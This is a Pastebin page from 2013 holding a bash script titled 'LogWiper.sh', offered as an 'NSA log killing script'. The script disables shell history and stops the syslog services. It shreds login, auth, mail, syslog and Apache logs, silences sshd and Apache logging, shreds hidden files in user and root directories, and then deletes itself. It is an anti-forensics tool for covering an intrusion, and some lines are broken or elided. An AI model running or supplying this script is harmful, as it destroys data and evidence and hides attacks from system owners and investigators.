Advertisement
Guest User

LogWiper.sh - NSA log killing script

a guest
Aug 5th, 2013
364
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 1.68 KB | None | 0 0
  1. #! /bin/bash
  2. apt-get install -y chkconfig
  3. #stop history
  4. echo "unset HISTFILE" >> /etc/profile
  5. history -c
  6. find ~/.bash_history -exec shred -fvzu -n 3 {} \;
  7. service rsyslog stop
  8. chkconfig rsyslog off
  9. service sysklogd stop
  10. chkconfig sysklogd off
  11. service msyslog stop
  12. chkconfigm syslog off
  13. service syslog-ng stop
  14. chkconfig syslog-ng off
  15. shred -fvzu -n 3 /var/log/wtmp
  16. shred -fvzu -n 3 /var/log/lastlog
  17. shred -fvzu -n 3 /var/run/utmp
  18. shred -fvzu -n 3 /var/log/mail.*
  19. shred -fvzu -n 3 /var/log/syslog*
  20. shred -fvzu -n 3 /var/log/messages*
  21. #stop logging ssh
  22. cp /etc/ssh/aa
  23. sed -i 's/LogLevel.*/LogLevel QUIET/' /etc/ssh/sshd_config
  24. shred -fvzu -n 3 /var/log/auth.log*
  25. services sh restart
  26. #delete hidden files
  27. find / -type f -name ".*" | grep -v ".bash_profile" | grep -v ".bashrc" | grep "home" | xargs shred -fvzu -n 3
  28. find / -type f -name ".*" | grep -v ".bash_profile" | grep -v ".bashrc" | grep "root" | xargs shred -fvzu -n 3 #stop apache2 logging
  29. sed -i 's|ErrorLog [$/a-zA-Z0-9{}_.]*|ErrorLog /dev/null|g' /etc/apache2/sites-available/default
  30. sed -i 's|CustomLog [$/a-zA-Z0-9{}_.]*|CustomLog /dev/null|g' /etc/apache2/sites-available/default
  31. sed -i 's|LogLevel [$/a-zA-Z0-9{}_.]*|LogLevel emerg|g' /etc/apache2/sites-available/default
  32. sed -i 's|ErrorLog [$/a-zA-Z0-9{}_.]*|ErrorLog /dev/null|g' /etc/apache2/sites-available/default-ssl
  33. sed -i 's|CustomLog [$/a-zA-Z0-9{}_.]*|CustomLog /dev/null|g' /etc/apache2/sites-available/default-ssl
  34. sed -i 's|LogLevel [$/a-zA-Z0-9{}_.]*|LogLevel emerg|g' /etc/apache2/sites-available/default-ssl
  35. ...
  36. shred -fvzu -n 3 /var/log/apache2/*
  37. service apache2 restart
  38. #self delete
  39. find ./ -type f | grep logwiper.sh | xargs -I {} shred -fvzu -n 3 {} \;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement